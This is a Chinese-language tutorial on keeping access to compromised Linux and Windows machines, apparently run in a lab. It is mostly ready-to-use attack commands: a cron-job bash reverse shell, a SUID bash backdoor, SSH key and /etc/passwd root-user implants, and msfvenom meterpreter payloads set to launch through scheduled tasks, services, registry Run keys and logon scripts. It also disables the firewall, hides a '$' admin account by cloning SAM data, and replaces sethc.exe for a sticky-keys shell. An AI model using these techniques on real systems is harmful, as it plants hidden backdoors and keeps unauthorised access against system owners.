内网安全:权限维持的各种姿势
1.Linux权限维持
2.Windows权限维持
目录:
一.Linux权限维持:
1.webshell:
2.定时任务:
3.SUID后门:
4.SSH Key免密登录后门:
5.添加用户后门:
二.Windows权限维持
1.计划任务后门:
2.后门服务:
3.注册表自启:
4.L o g o n s c r i p t s 后门:
5.影子账户:
6.shift后门(粘滞键):
一.Linux权限维持:
1.webshell:
利用:
通过文件上传等各种漏洞利用方式,将恶意脚本上传到web服务中去,就可以直接用工具连接
各种编程语言木马 如:shell.php dama.php hack.war
2.定时任务:
利用:
通过给目标机器写入一个定时任务,它会自动执行,我们提前进行监听,即可得到目标机器权限
查看定时任务:crontab -u root -l
修改定时任务:crontab -u root -e
删除定时任务:crontab -u root -r
利用:
kali监听:nc -lvvp 7777
centos写入定时任务:
* * * * * bash -i >&/dev/tcp/ip/端口 0>&1 每分钟运行一次
查看是否写入成功:
写入成功后,我们等待上线
成功上线
3.SUID后门:
将root权限给到一个我们创建的新的程序,并且给它添加s权限,下次就可以用普通用户的身份来执行root用户的权限
这个需要我们拿到root权限再执行
root用户执行:cp /bin/bash /var/.hack
chmod 4775 /var/.hack (添加S权限) 普通用户以root用户的权限来运行
ls -al /var/.hack
我们切换到普通用户
普通用户执行: /var/.hack -p 即可得到root权限
4.SSH Key免密登录后门:
利用kali生成秘钥,将秘钥传到目标机器上,即可进行ssh连接,不用输入密码
生成和查看 (kali执行):
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub (公钥)
写入centos执行:
cd /root//ssh
vim authorized_keys (只要能写入的权限就可以,可以是其他编辑的权限)vi、vim
将我们生成的公钥写进去即可
连接: ssh root@IP
成功
5.添加用户后门:
介绍:
我们可以对目标机器创建一个新的用户,并且赋予它root权限,下次可以直接远程连接得到shell
生成密码:openssl passwd -1 -salt admin 123456
密码生成以后,我们将其添加到passwd中去:
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd
然后我们查看etc/passwd 看是否添加成功
cat etc/passwd
连接(kali执行):
ssh admin@192.168.11.141
二.Windows权限维持
1.计划任务后门:
MSF后门和监听:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=9997 -f exe -o update.exe
监听:msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.11.128;set lport 9997;run"
我们先将防火墙关闭
查看防火墙开关情况:shell netsh firewall show state
发现防火墙开启,那么我们要先将其关闭:shell netsh advfirewall set allprofiles state off
我们查看是否关闭:shell netsh firewall show state
关闭成功
我们将生成的exe上传到目标服务器中
上传成功
创建计划任务:
powershell schtasks /create /tn "\Microsoft\Windows\AppTask\AppRun\updatex" /tr C:\Users\Administrator\Desktop\update.exe /rl highest /F /sc minute /mo 1 /RU system
成功上线
2.后门服务:
kali生成木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=9998 -f exe -o back.exe
监听:
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.11.128;set lport 9998;run"
上传木马:
创建后门服务:
sc create backdoor binpath= "cmd.exe /k C:\Users\Administrator\Desktop\back.exe" start= "auto" obj= "Localsystem"
这个后门服务需要我们重启电脑才能触发,重启电脑
上线成功
3.注册表自启:
MSF后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=9981 -f exe -o regrun.exe
监听:
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.11.128;set lport 9981;run"
上传木马:
添加注册表命令:
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v regrun /t REG_SZ /d " C:\Users\Administrator\Desktop\regrun.exe"
我们进行重启
成功上线
4.L o g o n s c r i p t s 后门:
MSF后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=9999 -f exe -o kms.exe
监听:msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.11.128;set lport 9999;run"
上传木马:
添加命令:
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d " C:\Users\Administrator\Desktop\kms.exe"
重启
成功上线
5.影子账户:
这个需要我们在目标机器上进行添加
创建账户:
创建用户,用户名末尾是$:
net user sysuser1$ 12@H56 /add
加入管理员组:
net localgroup administrators sysuser1$ /add
我们用net user 查看不了这个我们添加的用户
但是我们查看管理员组是可以看见的:net localgroup administrator sysuser1$,并且在登录页面也可以看到
所以要进一步隐藏
设置SAM权限:
打开Windows的注册表
找到Admin值
显示类型是 x1f4,我们在上面找到这个文件夹,复制F的二进制数据
然后找到我们新添加的sysuser1$的的F文件,将我们复制的粘贴上去
导出注册表:
删除用户:
net user sysuser1$ /del
双击导入两个注册表
(只有注册表中才能看到账号的信息)
开启远程桌面:
最后我们进行连接:
6.shift后门(粘滞键):
覆盖sethc.exe:
#获取整个文件夹及其下面子目录文件的所属权
takeown /f c:\windows\system32\*.* /a /r /d y cacls c:\windows\system32\*.* /T /E /G administrators:F
复制cmd文件,覆盖sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
在登录界面按5次Shift即可获得管理员shell
返回登录页面
按五下shift,成功